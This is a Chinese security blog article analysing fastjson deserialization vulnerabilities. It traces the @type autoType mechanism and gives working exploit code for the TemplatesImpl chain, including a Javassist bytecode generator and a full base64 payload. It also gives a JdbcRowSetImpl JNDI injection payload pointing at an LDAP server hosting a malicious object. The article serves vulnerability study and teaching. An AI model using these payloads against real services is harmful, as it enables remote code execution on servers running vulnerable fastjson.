反序列化漏洞和fastjson实际漏洞分析

admin 2024年12月6日17:19:57评论14 views字数 8213阅读27分22秒阅读模式

简介

FastJson是alibaba的一款开源JSON解析库,可用于将Java对象转换为其JSON表示形式,也可以用于将JSON字符串转换为等效的Java对象分别通过toJSONStringparseObject/parse来实现序列化和反序列化。

使用

对于序列化的方法toJSONString()有多个重载形式。

反序列化漏洞和fastjson实际漏洞分析

  1. SerializeFeature: 通过设置多个特性到FastjsonConfig中全局使用, 也可以在使用具体方法中指定特性

  2. SerializeFilter: 一个接口, 通过配置它的子接口或者实现类就可以以扩展编程的方式实现定制序列化

  3. SerializeConfig: 添加特点类型自定义的序列化配置

对于反序列化的方法parseObject()也同样有多个重载形式。

反序列化漏洞和fastjson实际漏洞分析

序列化操作

反序列化漏洞和fastjson实际漏洞分析

可以发现这两个的区别,如果使用了toJSONString()的属性值SerializerFeature.WriteClassName,就会在序列化的时候多写入一个@type后面跟着的是反序列化的类名。

反序列化操作
package pers.fastjson;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;

public class UnSerialTest {
public static void main(String[] args) {
String jsonStringWithType = "{"@type":"pers.fastjson.Student","name":"RoboTerh"}";
String jsonStringWithoutType = "{"name":"RoboTerh"}";

System.out.println("use JSON.parse with type......");
Object o1 = JSON.parse(jsonStringWithType);
System.out.println(o1);
System.out.println("------------------------------------");

System.out.println("use JSON.parse without type....");
Object o2 = JSON.parse(jsonStringWithoutType);
System.out.println(o2);
System.out.println("-------------------------------------");

System.out.println("use JSON.parseObject with type.......");
JSONObject o3 = JSON.parseObject(jsonStringWithType);
System.out.println(o3);
System.out.println("--------------------------------------");

System.out.println("use JSON.parseObject without type.........");
JSONObject o4 = JSON.parseObject(jsonStringWithoutType);
System.out.println(o4);
System.out.println("----------------------------------------");

System.out.println("use JSON.parseObject without type but hava .Class");
Student o5 = JSON.parseObject(jsonStringWithoutType, Student.class);
System.out.println(o5);
}
}

反序列化漏洞和fastjson实际漏洞分析

可以通过结果发现1和5成功反序列化,没成功都是因为没有确定需要反序列化的类。

我们可以发现,在引入了@type之后,JSON.parseObject调用了getter/setter方法,JSON.parse调用了setter方法。

当然,其他的方式也是可以调用getter方法的,但是有条件限制:

条件一、方法名需要长于4

条件二、不是静态方法

条件三、以get字符串开头,且第四个字符需要是大写字母

条件四、方法不能有参数传入

条件五、继承自Collection || Map || AtomicBoolean || AtomicInteger ||AtomicLong

条件六、此getter不能有setter方法(程序会先将目标类中所有的setter加入fieldList列表,因此可以通过读取fieldList列表来判断此类中的getter方法有没有setter)

因为fastjson存在autoType机制, 当用户指定@type时, 存在调用恶意setter/getter的情况, 这就是fastjson反序列化漏洞。

简单的漏洞
//Evil.java
package pers.fastjson;

import java.io.IOException;

public class Evil {
private String name;

public Evil () {
System.out.println("构造方法");
}
public void setName(String name) throws IOException {
this.name = name;
System.out.println("调用了setName方法");
Runtime.getRuntime().exec("calc");
}
public String getName() {
System.out.println("调用了getName方法");
return name;
}
}
//EvilTest.java
package pers.fastjson;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;

public class EvilTest {
public static void main(String[] args) {
String jsonString = "{"@type":"pers.fastjson.Evil","name":"RoboTerh"}";
JSONObject o = JSON.parseObject(jsonString);
System.out.println(o);
}
}

反序列化漏洞和fastjson实际漏洞分析

成功弹出了计算器,

我们调式分析分析,

JSON.parseObject处下的断点。

反序列化漏洞和fastjson实际漏洞分析

首先使用了parse()方法进行反序列化操作。

反序列化漏洞和fastjson实际漏洞分析

JSON.parse(String text, int features)创建了DefaultJSONParser对象。反序列化漏洞和fastjson实际漏洞分析

在成功创建了该对象之后通过判断ch{ / [为token赋值,这里是12。

反序列化漏洞和fastjson实际漏洞分析

DefaultJSONParser#parse方法中通过判断token的值,进入创建了一个JSONObject对象。

parseObject方法, 这里会通过scanSymbol获取到@type指定类, 然后通过TypeUtils.loadClass方法加载Class.

反序列化漏洞和fastjson实际漏洞分析

反序列化漏洞和fastjson实际漏洞分析

先是首先在maping中寻找JDK的内置类,没有找到之后使用ClassLoader寻找,得到clazz的之后进行返回

创建了ObjectDeserializer并且调用了getDeserializer方法。

Templateslmpl利用链

如果一个类中的getter满足调用条件而且存在可利用点,攻击链就产生了。

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类中就存在一个私有变量_outputProperties,他的getter方法就满足在反序列化的时候的调用条件。

分析利用链,

从漏洞触发点开始Templateslmpl#getTransletInstance方法。

反序列化漏洞和fastjson实际漏洞分析

这里通过调用_class[_transletIndex]newInstance()方法进行实例化操作,我们追踪_class[_transletIndex]的出处,看看是否可以控制,进行恶意操作。

值得注意的是,我们想要达到漏洞点,在getTransletInstance()方法的两个if语句中,我们需要保证他的_name这个私有属性不为空,否则就直接返回了null,而不会达到漏洞点。

在第二个语句中就是通过defineTransletClasses()方法获得了_class_transletIndex的值,进入它。

反序列化漏洞和fastjson实际漏洞分析

首先判断_bytecodes是否为空,这里的_bytecodes同样是Templateslmpl类的成员变量,可控

如果这里不为空的话,就会执行。

反序列化漏洞和fastjson实际漏洞分析

而且这里如果_tfactory不为空的话,就会导致出现异常,然后返回,不会继续执行程序,我们需要保证它不为null,虽然他也是Templateslmpl类的成员变量,但是他没有对应的setter,我们可以通过Feature.SupportNonPublicField来进行修改。

接着走,在后面有一个for循环,

反序列化漏洞和fastjson实际漏洞分析

通过loader.defineClass修饰之后将_bytecodes[i]赋值给_class[i],跟进defineClass方法。

反序列化漏洞和fastjson实际漏洞分析

他是ClassLoaderdefineClass的重写,作用是将字节码转化为Class,

转回defineTransletClasses,在if判断语句中,如果它是main class的时候我们就为_transletIndex赋值。

现在重新回到getTranslateInstance()方法,现在这里的_class[_translateIndex]就是我们为_bytecodes赋值的恶意class,我们这里将他给实例化了,成功利用恶意类,

现在我们可以知道getTranslateInstance()是可以执行恶意类的,我们搜索在Templateslmpl类中什么调用了这个方法的。

反序列化漏洞和fastjson实际漏洞分析

可以发现在newTransformer()方法中使用了getTransletInstance()方法。

继续搜索在哪里调用了newTransformer()方法。

反序列化漏洞和fastjson实际漏洞分析

getOutputProperties()方法调用了他,而且这个方法,在反序列化的时候会被调用,现在,这个利用链就完整了。

//利用链
getOutputProperties()
newTransformer()
getTransletInstance()
defineTransletClasses()
_class[_transletIndex].newInstance()
POC
package pers.fastjson;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.apache.commons.codec.binary.Base64;

import java.io.IOException;

public class Fj24POC {
public static class RoboTerh {

}
public static String makeClasses() throws NotFoundException, CannotCompileException, IOException {

ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.get(RoboTerh.class.getName());
String cmd = "java.lang.Runtime.getRuntime().exec("calc");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "RoboTerh" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));
byte[] evilCodes = cc.toBytecode();

return Base64.encodeBase64String(evilCodes);
}

public static String exploitString() throws NotFoundException, CannotCompileException, IOException {
String evilCodeBase64 = makeClasses();
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String exploit = "{'RoboTerh':{" +
""@type":"" + NASTY_CLASS + ""," +
""_bytecodes":["" + evilCodeBase64 + ""]," +
"'_name':'RoboTerh'," +
"'_tfactory':{ }," +
"'_outputProperties':{ }" +
"}}n";

return exploit;
}

public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException {
String exploit = exploitString();
System.out.println(exploit);
//JSON.parse(exploit, Feature.SupportNonPublicField);
//JSON.parseObject(exploit, Feature.SupportNonPublicField);
JSON.parseObject(exploit, Object.class, Feature.SupportNonPublicField);
}
}

反序列化漏洞和fastjson实际漏洞分析

//payload
{"RoboTerh":{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQAJgoAAwAPBwAhBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAhSb2JvVGVyaAEADElubmVyQ2xhc3NlcwEAIExwZXJzL2Zhc3Rqc29uL0ZqMjRQT0MkUmib1Rlcmg7AQAKU291cmNlRmlsZQEADEZqMjRQT0MuamF2YQwABAAFBwATAQAecGVycy9mYXN0anNvbi9GajI0UE9DJFJvYmUZXJoAQAQamF2YS9sYW5nL09iamVjdAEAFXBlcnMvZmFzdGpzb24vRmoyNFBPQwEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUHABUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAXABgKABYAGQEABGNhbGMIABsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAdAB4KABYAHwEAFlJvY9UZXJoMjY5OTQ4OTExMjAwMDABABhMUmib1RlcmgyNjk5NDg5MTEyMDAwMDsBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwAjCgAkAA8AIQACACQAAAAAAAIAAQAEAAUAAQAGAAAALwABAAEAAAAFKrcAJbEAAAACAAcAAAAGAAEAAAAPAAgAAAAMAAEAAAAFAAkAIgAAAAgAFAAFAAEABgAAABYAAgAAAAAACrgAGhIctgAgV7EAAAAAAAIADQAAAAIADgALAAAACgABAAIAEAAKAAk="],'_name':'RoboTerh','_tfactory':{ },'_outputProperties':{ }}}

条件限制

需要开启Feature.SupportNonPublicField这个特性。

JdbcRowSetImpl利用链

分析利用链

JdbcRowSetImpl类位于com.sun.rowset.JdbcRowSetImpl中,它本身没有实现Serializeble接口,但是他是BaseRowSet类的子类,该类实现了该接口,所以它可以进行序列化。

链子的核心触发点是javax.naming.InitialContext#lookup的参数可控造成的漏洞。

反序列化漏洞和fastjson实际漏洞分析

JdbcRowSetImpl#setAutoCommit中如果this.conn为空的时候,就会调用this.connect方法。

反序列化漏洞和fastjson实际漏洞分析

然后在connect方法中就会调用Javax.naming.InitialContext#lookup方法,参数是dataSourceName成员变量。

反序列化漏洞和fastjson实际漏洞分析

//调用链
JdbcRowSetImpl对象
getDataSource
setAutocommit方法
context.lookup(datasourcename)
POC
package pers.fastjson;

import com.alibaba.fastjson.JSON;

public class Fj24_Jdbc_POC {
public static void main(String[] args) {
String payload = "{" +
""@type":"com.sun.rowset.JdbcRowSetImpl"," +
""dataSourceName":"ldap://127.0.0.1:8888/EvilObject"," +
""autoCommit":"true"," +
"}";
//JSON.parseObject(payload); 成功
//JSON.parse(payload); 成功
JSON.parseObject(payload, Object.class);
}
}

反序列化漏洞和fastjson实际漏洞分析

//payload
{"RoboTerh":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://127.0.0.1:8888/evilObject",
"autoCommit":true
}}
条件限制,

使用了JNDI注入,利用条件相对较低,但是需要连接远程恶意服务器,需要在有网的情况下执行。

本文作者:superLeeH, 转载请注明来自FreeBuf.COM

关 注 有 礼

欢迎关注公众号:网络安全者

获取每日抽奖送书

反序列化漏洞和fastjson实际漏洞分析

本文内容来自网络,如有侵权请联系删除

反序列化漏洞和fastjson实际漏洞分析

原文始发于微信公众号(网络安全者):反序列化漏洞和fastjson实际漏洞分析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月6日17:19:57
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   反序列化漏洞和fastjson实际漏洞分析https://cn-sec.com/archives/1722182.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息